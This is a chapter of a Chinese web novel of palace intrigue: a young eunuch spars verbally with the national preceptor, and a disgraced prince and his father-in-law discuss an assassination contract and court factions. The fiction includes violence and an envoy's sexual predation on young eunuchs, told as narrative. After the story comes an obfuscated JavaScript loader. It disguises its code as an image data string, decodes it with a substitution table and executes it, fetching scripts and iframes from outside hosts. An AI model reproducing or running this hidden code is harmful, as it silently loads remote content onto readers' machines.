第42章(1 / 2)

至少在外人看来,七皇子邵华池因癫病被治好后,与国师关系甚为亲密,甚至有几位皇子私下说,这算是因祸得福了。能请动国师过来,好像也不足为奇,经此一役七皇子的拉拢价值从原来的一文不值提了几个档次。

皇子们在离开后,各自思虑。

在为皇后开了安神的药,又送了一颗“仙丹”,做了祈福,扉卿才从长宁宫出来。去养心殿的路上,扉卿也没端着国师的架子,像是闲聊般的与傅辰聊了起来,要说这样一个被百姓推崇的人物这样对待,是人都应该表现出一点激动。

所以傅辰平日再沉稳,也表现了出了“一点激动”。

扉卿问了傅辰家乡的情况,包括父母兄弟,街坊邻里,傅辰回答得也很详尽,他在进宫前已经来到这个地方很多年了,不但能很顺溜地回答出家乡特点、特产、风俗,还能将自己幼时经历结合当地人文一起,无论任何人都看不出他与这个时代有任何不协调的地方。

还没走出长春门,迎头赶来的是宰相薛雍,他看到扉卿,快步上前,“皇上已离开?”

“已离开,您可去延寿宫觐见。”扉卿回道,窥觑帝踪是大罪,但如果皇帝已经说过了“摆驾”哪里,就不是什么大事了。

“二皇子……可还好?”薛雍因赶得急,大汗淋漓。

国师孑然一身,薛雍也顾不得其他,直接问道,反正他是不信国师不知道他是二皇党。

“您现在可前往东玄门,兴许碰得到。”东玄门,皇城七门之一,也是离二皇子府方向的门。

薛雍点了点头,看了眼扉卿,就注意到了他身后的傅辰,但傅辰低着头,也看不清长相,只以为是哪个被皇帝派来伺候扉卿的。扉卿出入不带随从是惯例,加上在闭关中出来,不是大事根本请不动这尊佛,所以才会引起薛雍的注意,他并没有多想。

薛雍朝着东玄门走去,扉卿忽然向傅辰介绍道:“他是薛雍,当朝宰相。”

傅辰不知道扉卿为何会忽然介绍起来,对个奴才有必要吗?但扉卿这人从来不会无的放矢,必然意有所指。

“是,谢国师指点。”不知道他是什么意思,傅辰回答的很平庸。

提到薛雍,在已经形成初步关系网的脑海中,就已经整理出了相关信息。

薛雍,门下省首脑,三相之一,谏官,参政大臣,诗人。

薛雍是二皇子邵华阳的岳父,也就是傅辰曾对七皇子说过的,二皇子的妻族势力不容小觑的缘由。

只是现在,这位宰相,能不能保住位置还要看晋成帝的意思,晋成帝允许自己的朝臣偏向他喜爱的皇子,也是为嫡子将来继承皇位铺路,但不会喜欢这位嫡子的党羽过大,威胁皇权,不然怎么也不会把质子从七子忽然换成了十五,就算是对丽妃的愧疚,也不至于做到这程度。

宰相并不止薛雍一位,当年晋太宗为了加强皇权,不重复邯朝皇权旁落,宰相独大的历史,从而设立了三省六部制以分化相权,内史省、门下省、尚书省,三省互相牵制,由尚书省执行,其中内史省设立内阁制,尚书省下辖六部二十四司,三省首脑皆为宰相,薛雍依附于内史省首脑,是以薛雍的宰相之位空有虚名,另两位宰相被朝臣称为右相、左相,以拥有内史令为右相。

皇帝之所以乐见其成这样的朝堂形态,没有控制言论,因为这位门下省的首脑薛雍是保皇派,晋成帝在刚继位时,也曾对朝堂的势力均衡做过努力,从三位宰相的分工上亦可看出。

在每朝每代的历史上,相位,无论是宰相、丞相还是首辅,可以说是官职变化最为频繁的,究其原因就是皇帝需要大臣辅佐,但又怕其权利过大威胁到自己,是以,每朝每代的相位制度都会有些许发展和变化。

后来到了晋成帝的乾平年间,为了进一步削弱几位宰相的权利,又设立了军机处,其中兵符由枢密院发出。

在傅辰看来,只用昏庸无能来形容晋成帝未免有些狭隘。

从军机处的建立也就能看出,他还是个有抱负的帝王,并且懂权术。帝王也无法用单纯的好与坏来评价,就像明朝崇祯帝朱由检,这个皇帝可能在史书上会批判他狂妄、自大等等缺点,但此人只从实际行动来说,是十分值得赞扬的,比如常常批奏折到深夜,每天早起上朝处理国事,坚持经筵日讲甚至鼓励民众越级上奏,明朝最勤奋的皇帝除了朱棣、朱元璋以外就是他了。

可以说在继嘉靖等皇帝创下几十年不上朝的记录后,这位崇祯帝是正面案例了,甚至还远离了后宫,这么多的努力还是化为了泡影,他空有伟愿,却没有能力,加上内忧外患仅凭一己之力难以挽回,最后做了亡国皇帝。

从晋成帝身上,傅辰看到了崇祯帝的影子,只是晋成帝没有那么勤奋,危机意识也没那么强烈,比起崇祯帝他更是幸运多了,首先他有国师扉卿和诸位大臣辅佐,其次晋太宗开创了晋朝的盛世,就是要败也还有个过程。

傅辰从穿越而来在皋州遇到了许多天灾**,最后甚至粒米无收,家家都闹着饥荒,饿殍无数。他有时候想,衰败的影子正在慢慢侵蚀这个皇朝,而在这声色犬马的皇宫里,依然歌舞升平。

穷人更穷,富人更富,似乎从古到今,都是这个社会形态。

“只是奴才身在内宫,不得识朝臣。”傅辰边想,边回应扉卿。

太监不得干政,不得结识朝臣,这是则例里的规矩。

扉卿摇了摇头,“那只是现在,也许你读书不多,规矩不是一成不变的,邯朝是有中丞相的。”

在藏书阁傅辰看到过,中丞相,往往由宦官担任。

“奴才不敢。”不敢想,也不愿想。

在一个人还在为一口粮食拼尽全力的时候,哪里会好高骛远。

傅辰“吓得”跪地,有些话国师能说,但他不能当没听到,在晋朝时期早就取消了这个制度,所以国师是凭什么以为他一个小太监能妄想这种职位。

“安麟离开前,曾与我提起过你。”国师笑看着傅辰跪地,笑意却没有达到眼底。

三皇子邵安麟?

那时候,在茗申苑遇见二皇子与祺贵嫔私通后,他就被邵安麟凑合着去给皇帝剃须了,剃须是个容易被皇帝降罪赐死的职务,当然,邵安麟是三皇子,他怎么也不可能去在乎一个奴才的死活,死了就死了罢。

他们的交集也没多少,那之后他就被晋成帝派去调查赈灾银两,离开滦京了。

“奴才与三皇子只有一面之缘。”这是天大的实话。

“他与我说,本以为你没机会活下来,没想到会剃须,甚至得到皇上的喜爱,是个可造之材,并且技能颇多。于是他离开前嘱咐我,有时间将这小太监调去福熙宫吧,这么机灵,与其利人不如利己。”提到邵安麟,扉卿的脸上划过一道不易察觉的温柔。

傅辰闭了闭眼,匍匐在地上,从这句话能分析出三层意思,一、邵华阳与祺贵嫔私通之事,邵安麟表面不说,实则因为鹿沽院找不到人,就想顺便除掉他,就推荐他去剃须了,也没什么原因,只是觉得私通之事不宜声张,不想傅辰给自己惹麻烦,还不如将其杀之,杀的办法,有什么比惹恼皇帝被处死更神不知鬼不觉呢;二、邵安麟是扉卿的弟子,但从中也能看出两人关系非常好,说话之间毫无顾忌;三、进一步确认了三皇子有野心,并一直伏蛰;四、也是扉卿在表达他对自己的关注原因;五、邵安麟离开滦京时,不可能特意提到自己这个小太监,只有可能是顺便,那代表什么,代表着他有做过一系列安排,可能连这次拉二皇子下马都有他的影子在;六、最后扉卿什么都没做,他已经到了福熙宫,这也是扉卿在表达一种疑惑,世上有如此巧合的事,或者是对自己的另眼相看?

但综合以上所有的点,依旧不是扉卿让他当药人的原因,那无端的恶感从哪里来?还是他太过敏感?

这一系列的分析只在傅辰脑中转瞬即过,就道:“奴才该死。”

没有如你们想的死掉,可不就是该死吗。

“我后来也有观察过你,德妃是个排斥太监的后妃,当然大多后妃皆是如此,而你却得到了她的重视,你比安麟提过的,更聪明,更懂人性,也更适合待在这后宫里,可有意愿来当我长侍?”

“奴才全凭德妃差遣。”这话意思也很明显,我只是个奴才,没权利支配自己的去留,你想要我,那么就去问德妃吧,只要她愿意。

而且傅辰不会忘记,这人此前是要他当药人,哪有那么快改变主意,他依旧习惯将事情往坏处想,以便早作打算。

“倒是个好奴才,天生奴性难改吗?”扉卿有些叹息,又有些可惜。他云淡风轻,朝着长春门外走去。

傅辰不答,跟了上去,似乎是默认了,被认为奴性总比被惦记上好,与这类人过招,每一句回话傅辰都会在脑中滚过两三遍才说出来。

离开了后宫,遇到暨桑国与臻国的使臣,他们来到晋国已有几月,这期间都由礼部接待。暨桑国来的是右参赞的属官舍人,臻国被宦官专政,正在动荡期间,是以他们的使臣是宦官,还是大有来头的宦官辛夷,权势滔天,把持朝政,被称为辛公,他亲自前来是希望晋国能出兵力辅佐他属意的新君称帝,这位新君今年才三岁,作为条件,臻国将成为晋国的属国,每年上贡,此事说来话长,容后待解。祺贵嫔门下除去那条黑犬外,其余被杖毙的犬全是臻国上贡,此时出事,于情于理都是要来告罪的。

“常在臻国听到关于晋朝太师的美貌,果然不同凡响,看这一头银发,美如星河,真是别有一番滋味啊!”辛夷邪笑着,勾起扉卿的下巴,极为轻佻,而国师闻名于晋朝靠的可从来不是容貌,辛夷故意这么说已经算是侮辱了。

扉卿不动,反而淡笑道:“辛公昨日可玩得愉快,如有不周我也好禀明圣上。”

辛夷脸色一变,这也是他昨日喝猛了,在小倌馆与一小倌玩上,输赌约后当众脱了衣服。他男女不忌,在臻国就有不少伺候的人。不想这事今日就被国师知晓,放开了手,笑道:“不过是闲暇娱乐,上不了台面。国师果真是不出门,却晓天下事,辛某佩服。”

其实辛夷的宦官的身份,是不可能与扉卿平辈相称的,奈何从权力来说,他也算是无冕之君,面对国师这般态度,也无可厚非。在辛夷来了后,傅辰曾听闻不少太监聊他,比如杨三马就说过,太监做到辛夷这样才是此生无憾。

辛夷在看到傅辰时,咦了一声。

他玩过的青葱水嫩的小太监不少,因为玩得实在太多,对这个年龄段的小太监很了解,只从气息上能感觉到傅辰有些与众不同。哪里不同却是想不明白,这也不奇怪,傅辰进宫的年纪按照周岁来算的,如果以晋朝的民间习俗生下来既是一岁,生辰在农历七月以后,则虚两岁,进宫后营养跟上了,即将迎来男孩的发育期似乎也是正常的。

辛夷也只是疑惑了下,并没具体发现什么,就被身旁的舍人催促,两人一同赶往见晋成帝。

傅辰是内宫太监,没有渠道他不可能认识虎贲的人,唯一知道的还是七皇子手下的十二个,还都是净了身的,而只有这个组织里才能购买类似于现代雌性激素的药物。而这件事,他不能通过七皇子和德妃,必须自己想办法。

等他们都离开后,扉卿抽出帕子,轻轻擦拭刚才被碰到的地方。

那动作很自然,但傅辰却能感觉到扉卿的怒意厌恶。

傅辰若无其事地接过扉卿递过来的帕子,意思是处理掉。

扉卿继续之前的话题,问他的生辰八字。

这是傅辰在进了嗣刀门进宫后,那儿的管事太监都会让每个小太监签署一份自愿甘结的协议,甘结是一种具有官方效应的字据,也是文书,在宫里签署的这份也相当于卖身契,也就是无论以后到哪儿,都是身份的凭证,所以逃奴被抓到的风险很大,下场也往往悲惨。在签好甘结后,再去内务府登记相关信息,其中甚至包括生辰八字,如果有亲属过来,是会取证的。

傅辰对扉卿说的,就是他这具身体的生辰,并非他来到这个世界的时间。

扉卿眼中划过一道暗茫,之前见到傅辰之时,此人分明是天煞孤星之相,却被中途阻截。按照原来的命格,此人命里无亲缘,婚姻难终,晚年孤苦,刑妻克子,但从此人父母兄弟健在和生辰年月来推算,虽命运多舛,却有一飞冲天之势,莫非是自己的判断失误?

紫薇命格是从八年前改变,从此人诞生来算,也是对不上的。

那么他基本排除此人是贪狼中的七煞星。

国师目光渐深,无论是不是七煞,即使只有那微乎其微的可能也不能忽视。

薛雍赶到东玄门时,邵华阳正要离开。

看到他,邵华阳看向身边的两个侍卫,“都退下。”

两侍卫还在犹豫,他们只是负责押送邵华阳的,皇上也没下令不准邵华阳与人交谈。

“我只是被削爵,但还是二皇子!还不退下!”见那两人还在犹豫,邵华阳也动了平日的脾气,而这脾气显然威慑了侍卫,他们退了十多步,为两人说话留了足够空间。

“岳丈,小心朝堂。”二皇子长话短说,自从长宁宫一事后,他像是瞬间成熟稳重了不少,或者说心如死灰,有些事反而看得清。

“二殿下,此事的来龙去脉臣还不了解。但臣是皇上的人,就是降级也不会太过,最多也不过是罢官,只是恐难再相助于您。”

“可有性命之忧?”失去薛雍,他将又少一个大助力,先后失去了十五,皇后,他不能再失去薛雍。

“虽圣上设立了三省,但门下省几乎名存实亡,对此圣上多年装聋作哑,自会稍体恤我的难处,以我牵制那两位,没有功劳也有苦劳,应不致死。咱们不能太小看了圣上此举的含义。我的退出,才能方便那两派斗。”

“你是说……”邵华阳知道他说的是右相、左相两派的人,难道晋成帝想要除掉其中一个?

晋成帝可不是无缘无故设立了军机处,当年右相硬是凭借在朝中优势让皇帝多次退让,晋成帝可不是个宽宏大量的人,在玩弄权术上虽不算老手,但这样一箭双雕的事常年耳濡目染,也是会做的。“此事,需得从长计议,您并非没有机会。”

薛雍并不知道邵华阳被圈禁。

“没机会了,父皇圈禁了我,我居然成大晋第一位被圈禁的皇子,哈哈哈!”邵华阳大声苦笑。

“什么!”薛雍惊愕,心底猛地一沉。

这是无复盘机会了!

邵华阳随即想到了什么,咬牙切齿,“他们几人联合在一起,想要置我于死地,以为我死了就能太平了吗!”

“此次不像预谋,太过突然,只是背后之人居然联络诸多势力为他所用,办到这一点的是……”

“老九?”他可不信老大那只有草的脑子能想出什么,也只有从小被誉为神童的老九邵子瑜了。

“这不太像九皇子一贯作风,九皇子年少闻名于文人雅士中,无论是文武哪一方面都有所建树,颇有谋略,对兵法亦有研究,但他有个特性,善谋定后动,不能确保的胜利,是不会出手的。此次却是险招,一个不好就容易满盘皆输,此人计谋、心机、时机都抓得非常准,最重要的是够狠,愿意冒险,少了任何一环咱们今日都不会落到如此地步……”薛雍分析道。

“您是说另有其人?”他想知道谁是幕后主使。

薛雍摇了摇头,想不出是谁,“现在,或许有个人能帮助到您。”

“谁?”

“三皇子邵安麟。”把此人拉到他们阵营,那还有翻盘的可能性。

“那……已经没有可能了。”

薛雍闻言,“您是不是做了什么?”

“我在昙海道发布了追杀他的任务。”昙海道,晋朝的暗杀组织,以金钱为交易,人员皆为江湖人士,被称作昙者,分一至十等,一等最高,按照任务完成的难度与数量划分。有人说,有人的地方就有江湖,在每个不太平的朝廷下都是这类组织兴起的温床,没有飞檐走壁那么夸张,但刀枪拳脚功夫与杂学却是各有精通,其中还包括善使暗器与毒、蛊之人,他们有的是缺钱,有的只是享受杀人乐趣,有的在乎名声,接受任务后无法完成亦可回到昙海道拒绝,等下一个人接。

邵华阳背后有六皇子邵瑾潭为支持,黄金万两也不是问题。

“为何!”

“他曾看到我的秘密。”邵华阳说的是被邵安麟撞破与祺贵嫔的事,当时回去府中后他就去发布了任务,这世上只有死人才安全。

“马上撤回这条命令,您可知他是下任国师,有他支持您才能加大筹码!”

“来不及了,昙者应该已经在路上了。”就在几日前,他刚收到有个一等昙者接了任务。

像暗杀皇子这样身份地位的人物,一般江湖人士是不敢接的。

士兵催了,邵华阳最后对薛雍说的是,“最后拜托您一件事。”

“您说,只要臣能做到。”

“我要五菱五马分尸!把他的碎块送到我几位兄弟那儿!”他最恨的,不外乎是这个最后一刻害他的探子!

“好,臣明白了。”对于这个探子,什么刑罚都是不够的。

回到福熙宫,穆君凝与往常没什么区别,只是吩咐墨画等人,“都下去吧,今儿不需要伺候。”

她回到内屋,从床下的隔板中取出了一套已经做好的衣裳,根据某个人的尺寸做的。

年少时那人是没机会做,到了晋成帝,她没想过做。

现在做了,却一直送不出去。

她怎会做如此可笑之事?

“只要有心,女子都会做的。”

她轻轻抚摸着上面的纹路,是上好的布料,千挑万选。世人皆道她无甚才能,只会管理宫里,略通诗文,但琴棋书画是世家女子必备的课程,并不特别。

无人知道她的女红非常好,这次甚至因为过于小心,只是凭着手掌丈量估摸的尺寸。

女子若是对男子上心,总要比男子付出的更多些,甚至会改变自己。

她走向梳妆台,打开妆奁,端起里面的剪子,抬起布料,最后看了一眼。

咔嚓、咔嚓。

将这套衣裳剪开,这剪碎的,似乎还代表着她的幻想。

这里,不能有心。

一地碎布,穆君凝坐在床边发呆,直到内膳房说晚膳准备妥当了。

是之前的添柴人送来的,她微微一愣,强打起精神。

等添柴人离开,才旋转开竹筷。

上面写着:勿念,望您心想事成。

落款是五菱绝笔。

在当探子的第一天,他们就知道这一天迟早会到来。

但穆君凝依旧觉得,这个后宫,好冷。

她已经忘了,是以什么心情烧掉这张纸条。

一刻钟后,她对屋外喊道:“墨画,墨竹。”

两个等候多时的宫女走了进来,看到一地碎布,那不是娘娘挑灯熬夜做的衣裳吗,不给皇上试穿一下吗?

暗叹德妃对皇上的心思。

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();